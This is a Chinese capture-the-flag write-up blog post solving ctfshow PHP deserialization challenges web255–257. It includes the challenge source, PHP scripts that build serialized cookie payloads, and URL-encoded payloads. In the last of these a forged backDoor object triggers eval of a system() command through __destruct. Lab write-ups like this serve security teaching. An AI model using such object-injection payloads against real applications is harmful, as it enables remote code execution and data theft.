代码编织梦想

目录

web255

web256

web257


web255

附代码

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
​
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

整体的思路和上一题差不多只是多了一句

$user = unserialize($_COOKIE['user']); 

可以看到unserialize就是反序列化,所以需要我们序列化一些东西,通过cookie的user变量传入,改变这个数据。

    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;

这段代码无法让isVip为true,所以我们就需要通过user这个变量改变isVip的值。

直接把类拿过来,只有类和变量会被反序列化,其他都可以去掉。

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
​
}
echo(urlencode(serialize(new ctfShowUser())));
?>

所以参入参数就是

拿到flag,债见!!

web256

附代码

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
​
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

这个题的关键点在于username和password不相等,因为都是强比较,所以我们传入的username和password值不同即可,这时候注意cookie中参入的user的username和password也要改

所以我们这时候传入的应该是

?username=1&password=2
<?php
class ctfShowUser{
    public $username='1';
    public $password='2';
    public $isVip=true;
​
}
echo(urlencode(serialize(new ctfShowUser())));
?>
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%221%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

拿到flag,债见!

web257

附代码

<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
​
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
​
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
​
}
​
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
​
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

这个题开始涉及反序列化的魔术方法了,我前面有文章写过php反序列化常用魔术方法的介绍

我们看回这个题,最后我们要用到的是backDoor类中的eval函数,来执行命令

结合上一个题的方法,循序渐进的看这个题,construct方法在初始化一个类的时候被触发,这里的construct方法会初始化info()这个类,在销毁时候触发destruct方法,destruct方法触发会调用info()类中的getInfo方法,然后返回user对象的值,这里我们看到我们想要调用的backDoor类中的方法也叫getInfo(),所以我们可以在序列化的时候把__construct方法初始化的类从info改为backDoor。

具体的实施方法如下:

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=true;
    private $class = 'info';
​
    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}
class backDoor{
    private $code='system("cat ./flag.php");';
    public function getInfo(){
        eval($this->code);
    }
}
echo(urlencode(serialize(new ctfShowUser())));

还是老规矩

?username=xxxxxx&password=xxxxxx
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A25%3A%22system%28%22cat+.%2Fflag.php%22%29%3B%22%3B%7D%7D

拿到flag,债见!!

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_45557476/article/details/125567595

CTFSHOW-WEB详解-爱代码爱编程

CTFSHOW-WEB详解 一、WEB13--文件上传二、WEB-红包题第二弹 一、WEB13–文件上传   开始的界面就是文件上传,确定方向为文件上传漏洞分析,尝试上传文件,我上传的第一个文件是一个文本文件很小只有9个字节,就上传成功了直接,还以为会按往常一样出现绝对路径又或者提示只能上传别的格式文件,然后我们通过绕过,接着使用蚁剑连接直接

ctfshow WEB AK赛-爱代码爱编程

WEB AK赛 签到_观己考点思路Payloadweb1_观字考点思路Payloadweb2_观星考点思路Payloadweb3_观图考点思路Payloadweb4_观心考点思路Payload 签到_观己 考点 文件包含 思路 盲猜一波flag在根目录下,所以直接读取试试 Payload 源码 <

CTFshow 反序列化 web255-爱代码爱编程

目录 源码思路题解总结 源码 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 #

CTFshow 反序列化 web256-爱代码爱编程

目录 源码思路题解总结 源码 <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 #

ctfshow web151-web155文件上传漏洞 wp-爱代码爱编程

事先声明,本文只用来学习交流,不参与以任何商业形式的活动。本文不会出现flag。 web151 先尝试最简单的,上传一个php文件     不能上传php,改个后缀,用burp suite再改回来试试 jpg也不能上传,用png尝试,然后修改为php,尝试上传   上传成功,可以利用这个来进行命令执行    接下来就

ctfshow web108-112-爱代码爱编程

目录 Web 108 Web 109 Web 110 Web 111 Web 112 Web 108 ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配 int

ctfshow web入门 代码审计-爱代码爱编程

web301 下载源码后在checklogin.php发现问题代码 $sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;"; $result=$mysqli->query($sql); $row=$result

ctfshow web入门 sql注入wp(未完)-爱代码爱编程

目录 web171题目源码解题思路Payloadweb172题目源码解题思路Payloadweb173题目源码解题思路Payloadweb174题目源码解题思路PayloadEXPweb175题目源码解题思路Payloadweb176题目源码解题思路Payloadweb177题目源码解题思路Payloadweb178题目源码解题思路Payloadw

ctfshow 反序列化Web254-255-爱代码爱编程

2022/4/17 反序列化 反序列化漏洞的产生主要有以下两个原因: 1. unserialize 函数的参数可控。 2.存在魔法函数。 魔法函数 __construct,__destruct,__call,__callStatic,__get,__set,__isset,__unset,__sleep,__wakeup,__toString,_

ctfshow web118_v2ish1yan的博客-爱代码爱编程

第一次见这种方法,所以记录一下 进入靶场 查看源码 知道了我们是往code传参,然后system执行代码 但是我在执行一些代码的时候,并不会回显,应该是被禁了。 这里使用了linux系统变量构成命令来执行的方法 我们要构造nl命令来查看flag 看题目给的hint 貌似是想说可以用的命令 假如 ${PATH} 为abcde

ctfshow web入门-爱代码爱编程

ctfshow web入门-SSTI web361题目描述解题思路 web362题目描述解题思路 web363题目描述解题思路 web364题目描述解题思路 web365题目描述解题思路

ctfshow-爱代码爱编程

<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-12-02 17:44:47 # @Last Modified by: h1xa # @Last Modified time: 2020-12-02 19:29:02 # @email: h1xa@ctfer.com